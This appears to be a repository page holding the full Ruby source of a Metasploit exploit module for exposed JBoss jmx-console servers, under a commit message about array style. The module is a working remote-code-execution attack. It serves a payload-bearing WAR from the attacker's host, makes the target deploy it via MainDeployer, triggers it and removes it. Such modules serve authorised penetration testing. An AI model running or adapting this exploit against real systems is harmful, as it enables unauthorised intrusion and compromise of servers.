c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
358 lines
11 KiB
Ruby
358 lines
11 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'JBoss JMX Console Deployer Upload and Execute',
|
|
'Description' => %q{
|
|
This module can be used to execute a payload on JBoss servers that have
|
|
an exposed "jmx-console" application. The payload is put on the server by
|
|
using the jboss.system:MainDeployer functionality. To accomplish this, a
|
|
temporary HTTP server is created to serve a WAR archive containing our
|
|
payload. This method will only work if the target server allows outbound
|
|
connections to us.
|
|
},
|
|
'Author' => [ 'jduck', 'Patrick Hof', 'h0ng10'],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-1036' ],
|
|
[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
|
|
[ 'OSVDB', '33744' ],
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], #For CVE-2010-0738
|
|
],
|
|
'DisclosureDate' => 'Feb 20 2007',
|
|
'Privileged' => true,
|
|
'Platform' => %w{ java linux win },
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' =>
|
|
[
|
|
#
|
|
# do target detection but java meter by default
|
|
# detect via /manager/serverinfo
|
|
#
|
|
[ 'Automatic (Java based)',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
}
|
|
],
|
|
|
|
#
|
|
# Platform specific targets only
|
|
#
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
},
|
|
],
|
|
[ 'Linux Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
|
|
#
|
|
# Java version
|
|
#
|
|
[ 'Java Universal',
|
|
{
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
|
OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
|
|
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
|
|
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
|
|
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
|
|
|
|
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def auto_target
|
|
if datastore['VERB'] == 'HEAD' then
|
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
|
else
|
|
print_status("Attempting to automatically select a target...")
|
|
res = query_serverinfo
|
|
if not (plat = detect_platform(res))
|
|
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
|
end
|
|
|
|
if not (arch = detect_architecture(res))
|
|
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
|
end
|
|
|
|
# see if we have a match
|
|
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
end
|
|
|
|
# no matching target found, use Java as fallback
|
|
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
return java_targets[0]
|
|
end
|
|
|
|
|
|
def exploit
|
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
|
|
|
mytarget = target
|
|
if (target.name =~ /Automatic/)
|
|
mytarget = auto_target()
|
|
if (not mytarget)
|
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
|
end
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
else
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
|
end
|
|
arch = mytarget.arch
|
|
|
|
# set arch/platform from the target
|
|
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
|
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
|
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
|
|
|
# Generate the WAR containing the payload
|
|
@war_data = p.encoded_war({
|
|
:app_name => app_base,
|
|
:jsp_name => jsp_name,
|
|
:arch => mytarget.arch,
|
|
:platform => mytarget.platform
|
|
})
|
|
|
|
#
|
|
# UPLOAD
|
|
#
|
|
resource_uri = '/' + app_base + '.war'
|
|
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
|
print_status("Starting up our web service on #{service_url} ...")
|
|
start_service({'Uri' => {
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request_uri(cli, req)
|
|
},
|
|
'Path' => resource_uri
|
|
}})
|
|
|
|
if (datastore['WARHOST'])
|
|
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
|
end
|
|
|
|
print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
|
|
if (datastore['VERB'] == "POST")
|
|
res = send_request_cgi({
|
|
'method' => datastore['VERB'],
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
'vars_post' =>
|
|
{
|
|
'action' => 'invokeOpByName',
|
|
'name' => 'jboss.system:service=MainDeployer',
|
|
'methodName' => 'deploy',
|
|
'argType' => 'java.lang.String',
|
|
'arg0' => service_url
|
|
}
|
|
}, 30)
|
|
else
|
|
res = send_request_cgi({
|
|
'method' => datastore['VERB'],
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
'vars_get' =>
|
|
{
|
|
'action' => 'invokeOpByName',
|
|
'name' => 'jboss.system:service=MainDeployer',
|
|
'methodName' => 'deploy',
|
|
'argType' => 'java.lang.String',
|
|
'arg0' => service_url
|
|
}
|
|
}, 30)
|
|
end
|
|
if (! res)
|
|
fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]")
|
|
end
|
|
if (res.code < 200 or res.code >= 300)
|
|
case res.code
|
|
when 401
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
|
end
|
|
fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
|
|
end
|
|
|
|
# wait for the data to be sent
|
|
print_status("Waiting for the server to request the WAR archive....")
|
|
waited = 0
|
|
while (not @war_sent)
|
|
select(nil, nil, nil, 1)
|
|
waited += 1
|
|
if (waited > 30)
|
|
fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
|
|
end
|
|
end
|
|
|
|
print_status("Shutting down the web service...")
|
|
stop_service
|
|
|
|
|
|
#
|
|
# EXECUTE
|
|
#
|
|
print_status("Executing #{app_base}...")
|
|
|
|
# The payload doesn't like POST requests
|
|
# As the war file is not stored inside the jmx-console, we don't have to
|
|
# care about the selected http method
|
|
tmp_verb = datastore['VERB']
|
|
tmp_verb = 'GET' if tmp_verb == 'POST'
|
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
# wait 3 seconds inbetween tries
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
num_attempts = 5
|
|
num_attempts.times do |attempt|
|
|
res = send_request_cgi({
|
|
'uri' => uri,
|
|
'method' => tmp_verb
|
|
}, 30)
|
|
|
|
msg = nil
|
|
if (! res)
|
|
msg = "Execution failed on #{app_base} [No Response]"
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
|
|
elsif (res.code == 200)
|
|
print_good("Successfully triggered payload at '#{uri}'")
|
|
break
|
|
end
|
|
|
|
if (attempt < num_attempts - 1)
|
|
msg << ", retrying in 3 seconds..."
|
|
print_error(msg)
|
|
|
|
select(nil, nil, nil, 3)
|
|
else
|
|
print_error(msg)
|
|
end
|
|
end
|
|
|
|
#
|
|
# DELETE
|
|
#
|
|
# XXX: Does undeploy have an invokeByName?
|
|
#
|
|
print_status("Undeploying #{app_base} ...")
|
|
res = send_request_cgi({
|
|
'method' => datastore['VERB'],
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
'vars_post' =>
|
|
{
|
|
'action' => 'invokeOpByName',
|
|
'name' => 'jboss.system:service=MainDeployer',
|
|
'methodName' => 'methodName=undeploy',
|
|
'argType' => 'java.lang.String',
|
|
'arg0' => app_base
|
|
}
|
|
}, 30)
|
|
if (! res)
|
|
print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
|
|
elsif (res.code == 500 and datastore['VERB'] == 'POST')
|
|
# POST requests result in a http 500 error, but the payload is removed..."
|
|
print_warning("WARNING: Undeployment might have failed (unlikely)")
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
|
|
end
|
|
|
|
handler
|
|
end
|
|
|
|
|
|
# Handle incoming requests from the server
|
|
def on_request_uri(cli, request)
|
|
|
|
#print_status("on_request_uri called: #{request.inspect}")
|
|
if (not @war_data)
|
|
print_error("A request came in, but the WAR archive wasn't ready yet!")
|
|
return
|
|
end
|
|
|
|
print_status("Sending the WAR archive to the server...")
|
|
send_response(cli, @war_data)
|
|
@war_sent = true
|
|
end
|
|
|
|
|
|
def query_serverinfo
|
|
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => path
|
|
}, 20)
|
|
|
|
if (not res) or (res.code != 200)
|
|
print_error("Failed: Error requesting #{path}")
|
|
return nil
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
# Try to autodetect the target platform
|
|
def detect_platform(res)
|
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
|
os = $1
|
|
if (os =~ /Linux/i)
|
|
return 'linux'
|
|
elsif (os =~ /FreeBSD/i)
|
|
return 'linux'
|
|
elsif (os =~ /Windows/i)
|
|
return 'win'
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
|
|
# Try to autodetect the target architecture
|
|
def detect_architecture(res)
|
|
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
|
arch = $1
|
|
if (arch =~ /(x86|i386|i686)/i)
|
|
return ARCH_X86
|
|
elsif (arch =~ /(x86_64|amd64)/i)
|
|
return ARCH_X86
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
end
|